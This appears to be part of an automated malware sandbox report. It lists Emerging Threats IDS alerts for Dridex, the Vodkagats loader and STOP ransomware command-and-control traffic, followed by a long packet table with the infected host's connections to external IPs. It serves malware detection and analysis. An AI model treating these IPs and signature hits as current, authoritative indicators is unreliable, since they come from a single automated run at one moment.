192.168.2.10187.211.34.21149707802020826 01/09/24-15:46:09.747747	TCP	2020826	ET TROJAN Potential Dridex.Maldoc Minimal Executable Request	49707	80	192.168.2.10	187.211.34.211
192.168.2.10187.211.34.21149707802036333 01/09/24-15:46:09.747747	TCP	2036333	ET TROJAN Win32/Vodkagats Loader Requesting Payload	49707	80	192.168.2.10	187.211.34.211
192.168.2.10186.182.55.4449715802036333 01/09/24-15:46:20.055152	TCP	2036333	ET TROJAN Win32/Vodkagats Loader Requesting Payload	49715	80	192.168.2.10	186.182.55.44
186.182.55.44192.168.2.1080497082036335 01/09/24-15:46:12.646828	TCP	2036335	ET TROJAN Win32/Filecoder.STOP Variant Public Key Download	80	49708	186.182.55.44	192.168.2.10
192.168.2.10186.182.55.4449715802020826 01/09/24-15:46:20.055152	TCP	2020826	ET TROJAN Potential Dridex.Maldoc Minimal Executable Request	49715	80	192.168.2.10	186.182.55.44
186.182.55.44192.168.2.1080497092036335 01/09/24-15:46:12.541258	TCP	2036335	ET TROJAN Win32/Filecoder.STOP Variant Public Key Download	80	49709	186.182.55.44	192.168.2.10
192.168.2.10186.182.55.4449708802833438 01/09/24-15:46:11.614730	TCP	2833438	ETPRO TROJAN STOP Ransomware CnC Activity	49708	80	192.168.2.10	186.182.55.44

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 9, 2024 15:46:01.820159912 CET	49704	443	192.168.2.10	172.67.139.220
Jan 9, 2024 15:46:01.820205927 CET	443	49704	172.67.139.220	192.168.2.10
Jan 9, 2024 15:46:01.820288897 CET	49704	443	192.168.2.10	172.67.139.220
Jan 9, 2024 15:46:01.832498074 CET	49704	443	192.168.2.10	172.67.139.220
Jan 9, 2024 15:46:01.832513094 CET	443	49704	172.67.139.220	192.168.2.10
Jan 9, 2024 15:46:02.045857906 CET	443	49704	172.67.139.220	192.168.2.10
Jan 9, 2024 15:46:02.045984030 CET	49704	443	192.168.2.10	172.67.139.220
Jan 9, 2024 15:46:02.152777910 CET	49704	443	192.168.2.10	172.67.139.220
Jan 9, 2024 15:46:02.152811050 CET	443	49704	172.67.139.220	192.168.2.10
Jan 9, 2024 15:46:02.153177023 CET	443	49704	172.67.139.220	192.168.2.10
Jan 9, 2024 15:46:02.153291941 CET	49704	443	192.168.2.10	172.67.139.220
Jan 9, 2024 15:46:02.156349897 CET	49704	443	192.168.2.10	172.67.139.220
Jan 9, 2024 15:46:02.197945118 CET	443	49704	172.67.139.220	192.168.2.10
Jan 9, 2024 15:46:02.548542023 CET	443	49704	172.67.139.220	192.168.2.10
Jan 9, 2024 15:46:02.548679113 CET	49704	443	192.168.2.10	172.67.139.220
Jan 9, 2024 15:46:02.548705101 CET	443	49704	172.67.139.220	192.168.2.10
Jan 9, 2024 15:46:02.548718929 CET	443	49704	172.67.139.220	192.168.2.10
Jan 9, 2024 15:46:02.548929930 CET	49704	443	192.168.2.10	172.67.139.220
Jan 9, 2024 15:46:02.552165031 CET	49704	443	192.168.2.10	172.67.139.220
Jan 9, 2024 15:46:02.552177906 CET	443	49704	172.67.139.220	192.168.2.10
Jan 9, 2024 15:46:06.327666044 CET	49705	443	192.168.2.10	172.67.139.220
Jan 9, 2024 15:46:06.327717066 CET	443	49705	172.67.139.220	192.168.2.10
Jan 9, 2024 15:46:06.327786922 CET	49705	443	192.168.2.10	172.67.139.220
Jan 9, 2024 15:46:06.335118055 CET	49705	443	192.168.2.10	172.67.139.220
Jan 9, 2024 15:46:06.335140944 CET	443	49705	172.67.139.220	192.168.2.10
Jan 9, 2024 15:46:06.536612988 CET	443	49705	172.67.139.220	192.168.2.10
Jan 9, 2024 15:46:06.536684036 CET	49705	443	192.168.2.10	172.67.139.220
Jan 9, 2024 15:46:06.542831898 CET	49705	443	192.168.2.10	172.67.139.220
Jan 9, 2024 15:46:06.542860031 CET	443	49705	172.67.139.220	192.168.2.10
Jan 9, 2024 15:46:06.543221951 CET	443	49705	172.67.139.220	192.168.2.10
Jan 9, 2024 15:46:06.543271065 CET	49705	443	192.168.2.10	172.67.139.220
Jan 9, 2024 15:46:06.545342922 CET	49705	443	192.168.2.10	172.67.139.220
Jan 9, 2024 15:46:06.589905024 CET	443	49705	172.67.139.220	192.168.2.10
Jan 9, 2024 15:46:07.039134026 CET	443	49705	172.67.139.220	192.168.2.10
Jan 9, 2024 15:46:07.039211988 CET	49705	443	192.168.2.10	172.67.139.220
Jan 9, 2024 15:46:07.039216995 CET	443	49705	172.67.139.220	192.168.2.10
Jan 9, 2024 15:46:07.039267063 CET	49705	443	192.168.2.10	172.67.139.220
Jan 9, 2024 15:46:07.040062904 CET	49705	443	192.168.2.10	172.67.139.220
Jan 9, 2024 15:46:07.040081978 CET	443	49705	172.67.139.220	192.168.2.10
Jan 9, 2024 15:46:08.326443911 CET	49706	443	192.168.2.10	172.67.139.220
Jan 9, 2024 15:46:08.326478958 CET	443	49706	172.67.139.220	192.168.2.10
Jan 9, 2024 15:46:08.326556921 CET	49706	443	192.168.2.10	172.67.139.220
Jan 9, 2024 15:46:08.335354090 CET	49706	443	192.168.2.10	172.67.139.220
Jan 9, 2024 15:46:08.335366964 CET	443	49706	172.67.139.220	192.168.2.10
Jan 9, 2024 15:46:08.537096977 CET	443	49706	172.67.139.220	192.168.2.10
Jan 9, 2024 15:46:08.537367105 CET	49706	443	192.168.2.10	172.67.139.220
Jan 9, 2024 15:46:08.542558908 CET	49706	443	192.168.2.10	172.67.139.220
Jan 9, 2024 15:46:08.542565107 CET	443	49706	172.67.139.220	192.168.2.10
Jan 9, 2024 15:46:08.542792082 CET	443	49706	172.67.139.220	192.168.2.10
Jan 9, 2024 15:46:08.542840958 CET	49706	443	192.168.2.10	172.67.139.220
Jan 9, 2024 15:46:08.549817085 CET	49706	443	192.168.2.10	172.67.139.220
Jan 9, 2024 15:46:08.593915939 CET	443	49706	172.67.139.220	192.168.2.10
Jan 9, 2024 15:46:09.040851116 CET	443	49706	172.67.139.220	192.168.2.10
Jan 9, 2024 15:46:09.040921926 CET	443	49706	172.67.139.220	192.168.2.10
Jan 9, 2024 15:46:09.040949106 CET	49706	443	192.168.2.10	172.67.139.220
Jan 9, 2024 15:46:09.040971041 CET	49706	443	192.168.2.10	172.67.139.220
Jan 9, 2024 15:46:09.042140007 CET	49706	443	192.168.2.10	172.67.139.220
Jan 9, 2024 15:46:09.042155027 CET	443	49706	172.67.139.220	192.168.2.10
Jan 9, 2024 15:46:09.581692934 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:09.747234106 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:09.747474909 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:09.747746944 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:09.969661951 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:10.893512011 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:10.893537998 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:10.893552065 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:10.893567085 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:10.893702984 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:10.893754959 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:11.054182053 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:11.054207087 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:11.054451942 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:11.221621037 CET	49709	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:11.221626043 CET	49708	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:11.364228010 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:11.364253998 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:11.364267111 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:11.364281893 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:11.364293098 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:11.364299059 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:11.364320993 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:11.364361048 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:11.364590883 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:11.364628077 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:11.506800890 CET	80	49708	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:11.506890059 CET	49708	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:11.508094072 CET	80	49709	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:11.508171082 CET	49709	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:11.551275969 CET	49709	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:11.614729881 CET	49708	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:11.824687958 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:11.824713945 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:11.824743986 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:11.824768066 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:11.824816942 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:11.824856997 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:11.824892044 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:11.824929953 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:11.824980021 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:11.825017929 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:11.825026035 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:11.825062037 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:11.825097084 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:11.825131893 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:11.825191021 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:11.825206041 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:11.825229883 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:11.825244904 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:11.969995975 CET	80	49709	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:12.078464985 CET	80	49708	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:12.307382107 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:12.307408094 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:12.307506084 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:12.307703972 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:12.307729959 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:12.307740927 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:12.307769060 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:12.307812929 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:12.307857990 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:12.307902098 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:12.308038950 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:12.308082104 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:12.308228970 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:12.308273077 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:12.308295965 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:12.308337927 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:12.308526039 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:12.308569908 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:12.308597088 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:12.308636904 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:12.308660030 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:12.308701038 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:12.308923960 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:12.308967113 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:12.313998938 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:12.314068079 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:12.541258097 CET	80	49709	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:12.541419029 CET	80	49709	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:12.541465044 CET	49709	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:12.541840076 CET	49709	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:12.582293034 CET	49709	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:12.646827936 CET	80	49708	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:12.646853924 CET	80	49708	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:12.647078991 CET	49708	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:12.785546064 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:12.785573006 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:12.785586119 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:12.785619974 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:12.785679102 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:12.785753012 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:12.785798073 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:12.785885096 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:12.785959959 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:12.786032915 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:12.786092043 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:12.786169052 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:12.789463043 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:12.791789055 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:12.791806936 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:12.791889906 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:12.791903019 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:12.791965961 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:12.791971922 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:12.791971922 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:12.791985989 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:12.791995049 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:12.792002916 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:12.792022943 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:12.866790056 CET	80	49709	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:13.265717983 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:13.265748024 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:13.265760899 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:13.265829086 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:13.265851974 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:13.265913963 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:13.265938044 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:13.265953064 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:13.265996933 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:13.266024113 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:13.266163111 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:13.266210079 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:13.266355991 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:13.266401052 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:13.266401052 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:13.266438007 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:13.266463995 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:13.266500950 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:13.266526937 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:13.266540051 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:13.266561985 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:13.266577005 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:13.266585112 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:13.266628027 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:13.266638041 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:13.266674995 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:13.271893024 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:13.271918058 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:13.271966934 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:13.271991968 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:13.272037983 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:13.272077084 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:13.272104979 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:13.272141933 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:13.327385902 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:13.327414036 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:13.327426910 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:13.327482939 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:13.327543974 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:13.756495953 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:13.756517887 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:13.756531000 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:13.756571054 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:13.756617069 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:13.756658077 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:13.756679058 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:13.756706953 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:13.756769896 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:13.756815910 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:13.756830931 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:13.756867886 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:13.756881952 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:13.756916046 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:13.756927967 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:13.756963968 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:13.756978989 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:13.757034063 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:13.757055998 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:13.757074118 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:13.757081032 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:13.757113934 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:13.757118940 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:13.757152081 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:13.757441044 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:13.757488966 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:13.763109922 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:13.763144016 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:13.763176918 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:13.763186932 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:13.763226986 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:13.763226986 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:13.813024998 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:13.813090086 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:13.813106060 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:13.813132048 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:13.813133001 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:13.813188076 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:14.236479998 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:14.236547947 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:14.236587048 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:14.236623049 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:14.236629963 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:14.236651897 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:14.236669064 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:14.236706972 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:14.236732960 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:14.236740112 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:14.236758947 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:14.236840963 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:14.236881971 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:14.236910105 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:14.236918926 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:14.236943960 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:14.236963987 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:14.236994028 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:14.237031937 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:14.237061024 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:14.237066031 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:14.237097979 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:14.237119913 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:14.237160921 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:14.237210989 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:14.237262011 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:14.237306118 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:14.242542982 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:14.242671013 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:14.242671967 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:14.242707014 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:14.242727995 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:14.242760897 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:14.292232990 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:14.292264938 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:14.292279959 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:14.292318106 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:14.292352915 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:14.580076933 CET	49708	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:14.721664906 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:14.721808910 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:14.721848011 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:14.721853018 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:14.721903086 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:14.721910954 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:14.721919060 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:14.721961021 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:14.721970081 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:14.721999884 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:14.722017050 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:14.722038984 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:14.722048044 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:14.722080946 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:14.863404036 CET	80	49708	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:15.216794014 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:15.216870070 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:15.216878891 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:15.216912985 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:15.216932058 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:15.216952085 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:15.216967106 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:15.216995001 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:15.690267086 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:15.690299034 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:15.690342903 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:15.690368891 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:15.690426111 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:15.690471888 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:15.690474987 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:15.690507889 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:15.690515995 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:15.690582037 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:15.690582037 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:15.690627098 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:15.690634012 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:15.690670967 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:15.690706015 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:15.690742016 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:15.690763950 CET	80	49707	187.211.34.211	192.168.2.10
